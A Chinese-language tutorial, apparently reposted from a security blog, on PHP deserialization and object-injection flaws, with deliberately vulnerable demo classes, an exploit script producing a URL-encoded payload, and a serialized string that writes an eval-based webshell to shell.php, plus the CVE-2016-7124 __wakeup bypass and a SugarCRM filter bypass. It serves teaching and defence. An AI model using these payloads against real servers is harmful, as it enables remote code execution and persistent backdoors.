php反序列化绕过,【技术分享】PHP反序列化漏洞
前言
序列化給我們傳遞對象提供了一種簡單的方法serialize()將一個對象轉換成一個字符串unserialize()將字符串還原為一個對象。此類函數的使用本身沒有危害,但是傳入反序列化函數的字符串用戶可控的時候就會存在漏洞——PHP對象注入
正文POP鏈
序列化的關鍵在于能夠在目標代碼當中找到一條可以控制的POP鏈,POP鏈就是class A調用了class B的方法,class B還調用了其他方法,在其方法中可以控制反序列化的參數,而class A中含有魔術方法引用了不安全的函數,就是一個POP鏈不同數據類型的序列化可以用來反序列化已被序列化的PHP變量
支持多種類型的PHP變量integers / floats / boolean
strings / array / objects
等...
booleanb:;
b:1; // True
b:0; // False
inti:;
i:1; // 1
i:-3; // -3
objectO:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
NULLN; //NULL
strings:5:"hello";
s:size:value;
arraya:3:{s"key1";s"value1";s"value2";}
a:size:{key, value pairs};POP鏈demo
poc.php:<?php
class popdemo
{
private $data = "demo\n"; # 文件內容
private $filename = './demo'; # 目標文件
public function __wakeup() # 反序列化時觸發
{
$this->save($this->filename);
}
public function save($filename) #寫文件
{
file_put_contents($filename, $this->data);
}
}
以上為一個構造好的POP鏈,當用此類實例化的對象序列化之后再被反序列化,就會觸發寫文件操作
POC.php<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php
運行代碼后,在當前目錄下生成pop_serialized.txt文件,并且文件內存放著popdemo對象的序列化字符串
pop_unserialize.php<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));
運行pop_unserialize.php文件后,會在當前目錄下生成一個demo文件,內容為demo
當我們能夠控制序列化的字符串的時候,這個地方就會存在任意文件寫操作的漏洞POP demo2
序列化漏洞利用方法不一定直接出現在魔術方法中如果關鍵代碼不在魔術方法中時,而是在一個類的普通的方法中,這時候就需要尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來
blbana.php<?php
class blbana {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
blbana這個類正常情況下,會在構造方法中實例化一個normal類的對象,在析構方法中會調用此對象的action方法,最終打印hello字符串,不存在敏感的操作
exp.php<?php
class blbana {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new blbana()));
echo "\n\r";%
運行exp.php生成payload,內容為:O%3A6%3A%22blbana%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
嘗試攻擊,將payload通過get請求傳入到blbana.php的GET請求參數d里去
成功調用了類evil中的action方法敏感的操作不一定要在魔術方法當中,當找到魔術方法以后,如果存在敏感操作,可以分析參數是否可控;當存在有敏感操作的普通方法時,就可以分析是否存在具有調用了同名方法的魔術方法,劫持代碼的運行流程,觸發漏洞代碼漏洞代碼
漏洞利用條件程序中有一個PHP的魔術方法,比如_wakeup或者_destruct,我們需要利用這個方法,來進行攻擊;
程序中含有PHP反序列化的函數unserialize()
unserialize()參數可控,可以控制傳入函數中的序列化字符串
此時我們的代碼中已經具備了以上的條件,可以進行PHP的對象注入了。exp內容
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"webshell";}
我們成功執行exp時,會在同一個目錄下生成一個名叫shell.php的文件,并且文件內容為webshell漏洞利用
我們先通過上傳之類的方法,將這個exp.txt上傳到服務器當中,通過代碼我們可以看出來,最后程序會將文件中的內容通過file_get_contents()函數讀取出來,在程序執行完畢的時候,由于_destruct方法觸發了代碼執行。
在同級目錄下生成了一個shell.php,且內容為aaaa漏洞分析
出現這個漏洞的時候我們可以利用它向目標服務器上寫入shell:O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"<?php @eval($_GET['BlBana'])?>";}
通過這個exp,我們在shell.php寫入的便是一句話。
需要注意的是,在字符串中,前面的數字代表的是后面字符串中字符的個數,如果數字與字符個數不匹配的話,就會報錯,并向shell.php中寫入初始內容“text”,我在不同版本的PHP中測試了這種錯誤。
在以上這兩個版本中測試的時候,若我們序列化后的字符串不符合要求,就會拋出一個錯誤,并向shell.php中寫入初始值。
但是在這個版本的PHP中,不會報錯,但是依然是在shell.php中寫入初始值。所以在利用的時候需要注意以上的內容,防止漏洞復現的失敗有的程序當中,會在__destruct()方法調用之前,調用__wakeup()對成員變量的值進行賦值,導致我們exp在進入析構方法之前就被破壞掉,PHP 5.6.24中存在CVE漏洞CVE-2016-7124當序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行
現在分析一下漏洞的一些細節,這是因為我們通過GET傳遞了參數給session_filename這個參數中,導致之后的函數file_get_contents讀取了exp.txt中的字符串,之后字符串被反序列化為了foo的對象,導致了代碼執行。
被反序列后產生的對象,相當于我們利用new foo()成了一個對象:foo Object ( [file] => 2.txt [data] => text )
foo Object ( [file] => shell.php [data] => aaaa )
使得我們傳入的惡意內容覆蓋了原先對象初始值O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"aaaa";}
O:3:"foo":2:{s:4:"file";s:5:"2.txt";s:4:"data";s:4:"text";}
具體的序列化后的字符串如上所示。
我們成功的修改了變量$file和$data的值,這時候我們需要的是執行魔術方法_destruct(),這個方法的執行有以下集中方法:
1. 當程序正常的執行完畢后,所有的對象被銷毀了,析構函數被調用(我們這里就是這種方法)
2. 當對象沒有指向時,對象被銷毀$p = new foo();
$p = null;
此時析構函數執行
3. 使用unset變量銷毀指向對象的變量,注意的是unset銷毀的是指向對象的變量,而不是對象,只有指向同一個對象的所有變量都銷毀的時候,析構函數才執行。也就是說當對象被銷毀時,析構函數就會被調用。
反序列化漏洞挖掘
反序列化漏洞的挖掘主要是在代碼中找到可以利用的POP組件,具體思路:利用文本搜索工具,在目標代碼中搜索,**__wakeup,__destruct**這類魔術方法
跟蹤方法,看魔術方法中是否存在一些可以利用的地方,找到可以利用的POP組件
根據類的結構定義構建序列化字符串Poc總結漏洞修復對于傳入unserialize()函數中的字符串,進行過濾,防止對象注入
避免在魔術方法中使用敏感的操作
避免存在敏感操作的普通方法和魔術方法中調用方法同名,從而被攻擊者劫持代碼流程,造成危害SugarCRM v6.5.23 --> v6.5.24 修復方法function sugar_unserialize($value)
{
6.5.23:preg_match('/[oc]:\d+:/i', $value, $matches); # O:+14:"SugarCacheFile"繞過
6.5.24:preg_mat ch('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
總結
以上是生活随笔為你收集整理的php反序列化绕过,【技术分享】PHP反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: freebsd mysql.so,MyS
- 下一篇: iis php 假死 nginx,网站假